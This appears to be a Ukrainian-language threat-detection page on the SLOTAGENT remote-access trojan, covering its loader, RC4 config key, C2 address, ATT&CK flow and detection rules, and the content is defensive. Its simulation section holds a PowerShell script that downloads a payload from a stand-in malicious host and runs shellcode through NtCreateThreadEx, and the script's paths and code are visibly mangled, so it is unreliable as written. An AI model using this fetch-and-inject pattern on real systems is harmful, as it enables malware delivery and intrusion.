Новий шкідливий ПЗ SLOTAGENT із підтримкою виконання BOF опубліковано
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
IIJ виявила невідомий раніше багатофункціональний RAT під назвою SLOTAGENT у ZIP-архіві, завантаженому на загальнодоступний репозиторій. Шкідливе програмне забезпечення підтримує виконання навантажень Beacon Object File і включає анти-форенсичні функції, такі як timestomping, щоб перешкоджати аналізу. Воно спілкується з зашитою в код TCP кінцевою точкою через спеціальний протокол, який обмінюється даними у форматі JSON. Завантажувач спирається на RC4-зашифровані конфігураційні дані та відбивне завантаження DLL для запуску кінцевого навантаження.
Розслідування
Статичний аналіз показав, що виконуваний файл завантажувача, WindowsOobeAppHost.AOT.exe, вирішує функції API Windows через власну хешуючу процедуру, основану на DJB2. Його зашифрований конфігураційний файл, db.config, дешифрується з використанням RC4 з ключем easdbadshyfab і потім виконується як shellcode, що містить XOR-кодовану DLL. Після завантаження RAT підключається до 43.156.59.110:699 і обробляє JSON-команди, які підтримують функції, включаючи зйомку скріншотів, завантаження та вивантаження файлів, а також виконання BOF.
Зменшення загроз
Захисники повинні виявляти зашиту в код командно-контрольну IP-адресу та шукати характерні рядки шляху, схожі на HTTP, пов’язані з мережею шкідливого програмного забезпечення. YARA-правила, надані у звіті, слід впровадити для ідентифікації як завантажувача, так і компонентів RAT. Безпекові команди також повинні стежити за підозрілою поведінкою хешування API та відбивному завантаженні DLL на кінцевих пристроях. Виконання непідписаних і недовірених файлів EXE або DLL слід обмежити, де це можливо.
Відповідь
Якщо виявлені індикатори, пов’язані з SLOTAGENT, негайно ізолюйте уражений хост, припиніть злоякісний процес і зберіть пам’ять для криміналістичного дослідження. Командно-контрольну IP-адресу та пов’язані порти слід заблокувати на мережевому рубежі. Організації повинні потім провести повний аналіз відомих імен та хешів файлів та застосувати опубліковані підписи YARA у системах виявлення кінцевих точок.
graph TB %% Class Definitions Section classDef action fill:#99ccff classDef malware fill:#ffcc99 classDef process fill:#c2f0c2 classDef network fill:#ffd966 classDef data fill:#d9d9d9 %% Nodes Definitions malware_exe[“<b>Шкідливе ПЗ</b> – <b>Назва</b>: WindowsOobeAppHost.AOT.exe<br/><b>Техніка</b>: T1204.002 Виконання користувачем”] class malware_exe malware exec_hijack[“<b>Техніка</b> – <b>T1574 Перехоплення потоку виконання</b>: Викликає експортовану функцію __managed__Main”] class exec_hijack action api_resolve[“<b>Техніка</b> – <b>T1027.007 Обфускація/Збережені файли</b>: XOR/ROR11 хешування для API”] class api_resolve action config_decrypt[“<b>Техніка</b> – <b>T1027.007</b>: Дешифрує конфіг RC4”] class config_decrypt action dll_decrypt[“<b>Техніка</b> – <b>T1027.007</b>: Дешифрує DLL”] class dll_decrypt action reflective_load[“<b>Техніка</b> – <b>T1620 Reflective DLL Loading</b>: Завантаження в памʼять”] class reflective_load process process_injection[“<b>Техніка</b> – <b>T1055.009 Інʼєкція процесу</b>: Впровадження DLL”] class process_injection process c2_channel[“<b>Техніка</b> – <b>T1571 Нетиповий порт</b> and <b>T1573 Шифрований канал</b>: TCP C2”] class c2_channel network host_info[“<b>Техніка</b> – <b>T1592</b>: Збір системних даних”] class host_info data proc_discovery[“<b>Техніка</b> – <b>T1057</b>: Процеси”] class proc_discovery data file_discovery[“<b>Техніка</b> – <b>T1083</b>: Файли”] class file_discovery data screenshot_cap[“<b>Техніка</b> – <b>T1113</b>: Скріншоти”] class screenshot_cap data remote_shell[“<b>Техніка</b> – <b>T1059</b>: Shell”] class remote_shell process bof_execution[“<b>Техніка</b> – <b>T1027</b>: BOF”] class bof_execution process shared_modules[“<b>Техніка</b> – <b>T1129</b>: Модулі”] class shared_modules process file_transfer[“<b>Техніка</b> – <b>T1105</b>: Передача файлів”] class file_transfer data proc_termination[“<b>Техніка</b> – <b>T1106</b>: Завершення процесів”] class proc_termination process sleep_manip[“<b>Техніка</b> – <b>T1027.004</b>: Маніпуляція sleep”] class sleep_manip action %% Connections unchanged malware_exe –>|triggers| exec_hijack exec_hijack –>|uses| api_resolve api_resolve –>|enables| config_decrypt config_decrypt –>|provides| dll_decrypt dll_decrypt –>|feeds| reflective_load reflective_load –>|enables| process_injection process_injection –>|establishes| c2_channel c2_channel –>|collects| host_info c2_channel –>|collects| proc_discovery c2_channel –>|collects| file_discovery c2_channel –>|collects| screenshot_cap c2_channel –>|enables| remote_shell remote_shell –>|executes| bof_execution bof_execution –>|loads| shared_modules c2_channel –>|supports| file_transfer c2_channel –>|supports| proc_termination c2_channel –>|uses| sleep_manip
Потік атаки
Виявлення
Можлива спроба бічного завантаження DLL WindowsOobeAppHost.AOT (через image_load)
Перегляд
IOCs (HashSha256) для виявлення: Нове шкідливе ПЗ SLOTAGENT, підтримує виконання BOF, опубліковано
Перегляд
IOCs (SourceIP) для виявлення: Нове шкідливе ПЗ SLOTAGENT, підтримує виконання BOF, опубліковано
Перегляд
IOCs (DestinationIP) для виявлення: Нове шкідливе ПЗ SLOTAGENT, підтримує виконання BOF, опубліковано
Перегляд
Виявити комунікацію SLOTAGENT C2 [Підключення до мережі Windows]
Перегляд
Виявлення виконання шкідливого ПЗ SLOTAGENT [Створення процесу Windows]
Перегляд
Виконання моделювання
Попередні умови: Телеметрія та перевірка базової лінії повинні бути успішно пройдені.
-
Сценарій атаки та команди:
Супротивник отримав копію виконуваного завантажувача SLOTAGENT, перейменував її на
WindowsOobeAppHost.AOT.exeщоб змішати з легітимними процесами OOBE, і розмістив її вC:WindowsSystem32. Навантаження зберігається в зашифрованій масі на сервері нападника. Використовуючи PowerShell, нападник завантажує зашифровану масу, дешифрує її в пам’яті та викликає рутинне відбивне виконання завантажувача черезNtCreateThreadEx. Завантажувач внутрішньо викликаєNtCreateFileдля читання додаткових ресурсів з зашифрованої маси, а потім використовує відбивне завантаження для виконання шкідливої DLL, не торкаючись диска. Ця діяльність створює подію Sysmon ProcessCreate з точноюІм'я зображеннятаCallTrace, що містить три рядки, визначені в правилі. -
Сценарій регресійного тестування:
# ------------------------------------------------- # Імітація відбивного завантаження SLOTAGENT (Windows) # ------------------------------------------------- # 1. Встановіть шляхи $loaderPath = "$env:windirSystem32WindowsOobeAppHost.AOT.exe" $payloadUrl = "https://malicious.example.com/payload.bin" $tempPayload = "$env:TEMPpayload.bin" # 2. Переконайтеся, що завантажувач існує (імітаційна копія реального бінарного файлу) if (-not (Test-Path $loaderPath)) { Write-Host "Копіювання імітаційного завантажувача до $loaderPath" Copy-Item -Path "C:ToolsFakeLoader.exe" -Destination $loaderPath } # 3. Завантажте зашифроване навантаження (імітація) Invoke-WebRequest -Uri $payloadUrl -OutFile $tempPayload # 4. Дешифруйте навантаження в пам'яті (місце тримає – реальне дешифрування опущено) $decryptedBytes = Get-Content $tempPayload -Encoding Byte # 5. Викличте відбивне завантаження через виклики рідних API # Це використовує маленький C# хелпер, скомпільований на лету, який викликає NtCreateThreadEx $cSharp = @" using System; using System.Runtime.InteropServices; public class ReflectiveLoader { [DllImport("ntdll.dll", SetLastError=true)] public static extern IntPtr NtCreateThreadEx( out IntPtr threadHandle, uint desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr startAddress, IntPtr parameter, bool createSuspended, uint stackZeroBits, uint sizeOfStackCommit, uint sizeOfStackReserve, IntPtr bytesBuffer); public static void Run(byte[] shellcode) { IntPtr hThread; NtCreateThreadEx(out hThread, 0x1FFFFF, IntPtr.Zero, Process.GetCurrentProcess().Handle, Marshal.UnsafeAddrOfPinnedArrayElement(shellcode, 0), IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero); } } "@ Add-Type $cSharp -Language CSharp # 6. Очистіть тимчасовий файл Remove-Item $tempPayload -Force -
Команди очищення:
# Припиніть будь-який залишковий процес завантажувача Get-Process -Name "WindowsOobeAppHost.AOT" -ErrorAction SilentlyContinue | Stop-Process -Force # Видаліть імітаційний бінарний файл завантажувача $loaderPath = "$env:windirSystem32WindowsOobeAppHost.AOT.exe" if (Test-Path $loaderPath) { Remove-Item $loaderPath -Force } # Видаліть будь-які залишкові тимчасові файли Remove-Item "$env:TEMPpayload.bin" -ErrorAction SilentlyContinue